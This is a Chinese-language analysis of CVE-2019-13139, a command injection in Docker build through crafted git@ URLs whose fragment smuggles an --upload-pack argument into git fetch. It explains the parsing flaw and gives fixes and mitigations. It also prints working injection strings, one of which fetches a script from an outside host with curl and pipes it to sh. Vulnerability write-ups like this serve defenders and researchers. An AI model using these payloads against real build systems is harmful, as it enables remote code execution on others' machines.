CVE-2019-13139—Docker build时的命令注入漏洞
字数 1437 2025-08-27 12:33:37
Docker Build 命令注入漏洞分析 (CVE-2019-13139)
漏洞概述
CVE-2019-13139 是 Docker 在构建过程中存在的一个命令注入漏洞,影响版本为 Docker 18.09.4 之前的版本。该漏洞允许攻击者通过精心构造的 git URL 在 Docker build 过程中执行任意命令。
漏洞背景
该漏洞由安全研究人员在 Troopers 2019 会议上进行漏洞挖掘时发现,主要研究了构建系统和 git 如何导致安全问题。漏洞存在于 Docker 使用 git 克隆远程仓库进行构建的过程中。
漏洞原理
核心问题
Docker build 支持使用远程 git 仓库作为构建上下文,例如:
docker build https://github.com/docker/rootfs.git#container:docker
当 URL 包含片段(#)时,Docker 会使用 git clone --recursive 命令递归克隆仓库及其子模块。漏洞存在于 git 参数的处理过程中,攻击者可以注入恶意参数到 git 命令中。
代码分析
-
URL 解析过程:
parseRemoteURL()函数解析远程 URL- 使用
getRefAndSubdir()函数以:为分隔符分割片段部分 - 攻击者可以控制
repo.ref和repo.subdir的值
-
命令构造过程:
fetchArgs()函数构造 git fetch 命令参数- 攻击者控制的
ref参数被直接附加到命令中 - 最终通过
gitWithinDir()和git()函数执行命令
-
命令注入点:
- 虽然 Go 的
os/exec包通常能防止命令注入 - 但 git 命令本身支持参数作为子命令执行
- 特别是
--upload-pack选项可以指定执行的二进制路径
- 虽然 Go 的
漏洞利用
利用条件
- 攻击者能够控制 Docker build 的远程 git URL
- 使用
git@形式的 URL(SSH 协议)
利用步骤
-
构造恶意 URL:
docker build "git@g.com/a/b#--upload-pack=sleep 30;:" -
实际执行的命令:
git fetch origin "--upload-pack=sleep 30; git@g.com/a/b" -
更复杂的命令执行示例:
docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
利用限制
- 必须使用
git@形式的 URL(HTTP/HTTPS URL 会忽略--upload-pack) - 需要分号(;)来终止命令,避免后续参数被解释为命令参数
漏洞修复
Docker 在 18.09.4 版本中修复了此漏洞,主要措施包括:
- 对 git 参数进行更严格的验证
- 防止恶意参数被传递到 git 命令中
安全建议
- 升级 Docker 到 18.09.4 或更高版本
- 避免使用不受信任的远程上下文进行 Docker 构建
- 常规的
docker build .方式不受此漏洞影响 - 在构建环境中限制网络访问
技术启示
- 即使使用"安全"的命令执行 API(如 Go 的 os/exec),仍可能存在命令注入风险
- 子命令参数需要特别关注,它们可能绕过常规的安全检查
- URL 解析和处理是常见的安全薄弱点
参考链接
- 原始漏洞报告: https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/
- CVE 详细信息: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13139
- Docker 安全公告: https://docs.docker.com/engine/release-notes/#18094